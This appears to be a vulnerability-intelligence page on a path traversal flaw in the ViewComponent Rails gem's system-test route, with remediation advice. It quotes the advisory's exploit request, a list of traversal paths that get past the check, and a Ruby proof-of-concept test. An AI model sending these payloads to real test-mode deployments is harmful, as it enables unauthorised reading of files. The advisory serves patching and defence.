Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach test-mode app route
-
DeliverySend file param with ../sibling path
-
Exploitrealpath resolves outside temp dir
-
Executionstart_with? prefix check passes
-
PersistRails renders out-of-bounds file
-
ImpactDisclose sibling file contents
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the ViewComponent system test entrypoint route (/_system_test_entrypoint) be mounted and reachable, which happens only when the Rails application runs with Rails.env.test? true - a non-default condition for production deployments and the primary factor limiting real-world risk. Given that condition, no authentication or user interaction is needed (CVSS PR:N/UI:N): the attacker supplies a file parameter pointing at a sibling directory whose name begins with the temp directory's base name (e.g. view_components_evil, view_components2, view_components.bak). A file readable by the app process must exist at that sibling path for meaningful disclosure. Limiting factors: the route's absence in production, the need for network reachability to a test-mode instance (shared CI, staging, review apps, or accidental test-mode deployment), and the requirement that the target resolve to a same-prefix sibling of the temp directory. |
| Impact | The signals are deliberately mixed. The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, base 7.5) treats this as a network, no-auth, low-complexity confidentiality breach, accurate for the raw code path. However, EPSS is only 0.01% (1st percentile) and the CVE is NOT in CISA KEV, indicating no observed exploitation and low predicted volume. The decisive limiting factor, stated by both reporter and advisory, is that the vulnerable route is mounted only when Rails.env.test? is true - it does not exist in production by default. The raw 7.5 therefore overstates real-world risk for correctly deployed applications; the vendor itself rates this Medium. Genuine exposure is narrow but real: shared CI runners, staging/review-app environments, or any deployment accidentally running in test mode with the route reachable. Bottom line: high CVSS number, low practical production priority, but worth prompt patching for organizations that expose test-mode apps. |
| Exploit ScenarioDerived | An attacker who can reach a Rails app accidentally running in test mode (for example an exposed review app or shared CI preview) sends GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb. Because the sibling directory shares the base string prefix, the flawed check passes and Rails renders the out-of-bounds file, disclosing its contents. A published proof-of-concept integration test in the advisory confirms the response succeeds and returns the sibling file's body. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Jul 23, 2026
Arbitrary file disclosure in the ViewComponent Ruby gem (versions >= 3.0.0, < 4.9.0) lets remote attackers read files outside the intended temp directory via the _system_test_entrypoint route. The controller canonicalizes a user-supplied path with File.realpath but validates containment with a raw String#start_with? prefix check, so a sibling directory sharing the same string prefix (e.g. view_components_evil next to view_components) resolves outside the base yet passes the check and is rendered. A working proof-of-concept test is published in the GHSA advisory; there is no public weaponized exploit and EPSS is 0.01% (1st percentile), and the route ships only in Rails.env.test?, which limits real-world exposure.
Earlier versions of this analysis (2)
Arbitrary file disclosure in the ViewComponent Ruby gem (versions 3.0.0 through 4.8.x) lets remote attackers read files outside the intended temp directory via the system-test entrypoint. The controller canonicalizes a user-supplied path with File.realpath and then validates containment with a raw String#start_with? check, which a sibling directory sharing the same name prefix (e.g. view_components_evil) trivially bypasses, causing Rails to render the outside file. Publicly available exploit code exists (a working PoC integration test is published in the GHSA advisory), but EPSS is 0.01% (1st percentile) and the flaw is absent from CISA KEV, reflecting that the vulnerable route is mounted only when Rails.env.test? is true.
Path traversal in ViewComponent system test entrypoint allows local attackers to read arbitrary files outside the intended temp directory by exploiting a flawed string-prefix containment check. The vulnerability affects ViewComponent 3.0.0 through 4.8.x running in Rails test mode; a request with a crafted file parameter containing a sibling directory name (e.g., ../view_components_evil/secret.html.erb) bypasses validation because /app/tmp/view_components_evil/secret.html.erb passes a start_with? check against /app/tmp/view_components. This is limited to test environments (Rails.env.test?) but poses risk in shared CI systems, staging, or review apps where test mode is accidentally exposed. Public proof-of-concept code is available.
RemediationAI
Vendor-released patch: 4.9.0. Upgrade the view_component gem to 4.9.0 or later, which replaces the string-prefix containment check with a path-boundary-aware check (Pathname#relative_path_from, or requiring a File::SEPARATOR boundary after the base path). Update the Gemfile constraint, run bundle update view_component, then verify against the advisory's regression cases (normal temp file, ../../README.md, ../view_components_evil/secret.html.erb, and an escaping symlink). If you cannot upgrade immediately, ensure the _system_test_entrypoint route is never reachable from untrusted networks: confirm production and internet-facing staging never run with RAILS_ENV=test, and firewall or ACL-restrict access to test-mode instances and shared CI/review-app environments (trade-off: none for production, but requires network controls on CI). As a code-level stopgap, patch the controller to reject paths whose first relative segment is '..' or that do not sit on a separator boundary within temp_dir. See https://github.com/ViewComponent/view_component/security/advisories/GHSA-hg3h-g7xc-f7vp.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in rubygems
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is ViewComponent, a view-layer library for Ruby on Rails that renders reusable component objects. The flaw is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory / path traversal). In app/controllers/view_components_system_test_controller.rb the code resolves both the base temp directory and the user-controlled file parameter with File.realpath, then guards with @path.start_with?(base_path). String prefix comparison is not path-boundary aware: '/app/tmp/view_components' is a string prefix of '/app/tmp/view_components_evil', so any sibling directory whose name begins with the base directory's name (view_components2, view_components.bak, view_components-old, view_componentsx, etc.) satisfies the check while resolving to a different directory. The resolved path is passed to Rails render file:, disclosing the file's contents. The affected package is pkg:rubygems/view_component.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Network-reachable no-auth file read (PR:N/UI:N), but AC:H because it needs the non-default condition of a reachable test-mode route; confidentiality-only, so I:N/A:N.
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
5DescriptionNVD
Summary
The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.
Severity: Medium; test-route scoped.
Example:
Allowed base: /app/tmp/view_components
Outside path: /app/tmp/view_components_evil/secret.html.erbThe outside path is not inside the base directory, but it passes:
@path.start_with?(base_path)Relevant Code
app/controllers/view_components_system_test_controller.rb:
base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)The route then renders the resolved file:
render file: @pathExploit Flow
Example request:
GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erbFlow:
base_pathresolves to.../tmp/view_components.- The payload resolves to
.../tmp/view_components_evil/secret.html.erb. - That path is outside the intended temp directory.
- The string prefix check still passes.
- Rails renders the sibling file.
The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.
Targeted Fuzz Result
The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:
../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.htmlPoC Test
Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:
# frozen_string_literal: true
require "test_helper"
require "fileutils"
class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
parent_dir = File.dirname(base_dir)
sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
outside_file = File.join(sibling_dir, "secret.html.erb")
FileUtils.mkdir_p(sibling_dir)
File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")
get "/_system_test_entrypoint", params: {
file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
}
assert_response :success
assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
ensure
FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
end
endRun:
bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rbVulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.
Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.
Suggested Fix
Use path-aware containment instead of a raw string prefix. For example:
def validate_file_path
base_path = Pathname.new(::File.realpath(self.class.temp_dir))
path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
relative_path = path.relative_path_from(base_path)
raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."
@path = path.to_s
endOr require a separator boundary:
allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
raise ViewComponent::SystemTestControllerNefariousPathError
endAdd regression tests for:
- A normal temp file inside
tmp/view_components ../../README.md../view_components_evil/secret.html.erb- A symlink inside the temp directory that resolves outside it
Executive ViewAI
ViewComponent (Ruby gem versions 3.0.0-4.8.x) contains an arbitrary file disclosure vulnerability with publicly available exploit code; remote attackers could read files outside intended directories. The affected route ships only in Rails test environments, but exposed test infrastructure could leak sensitive configuration files and test data to attackers.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
EUVD-2026-31971
GHSA-hg3h-g7xc-f7vp
NVD
CVE.org
EPSS
VulDB
Exploit-DB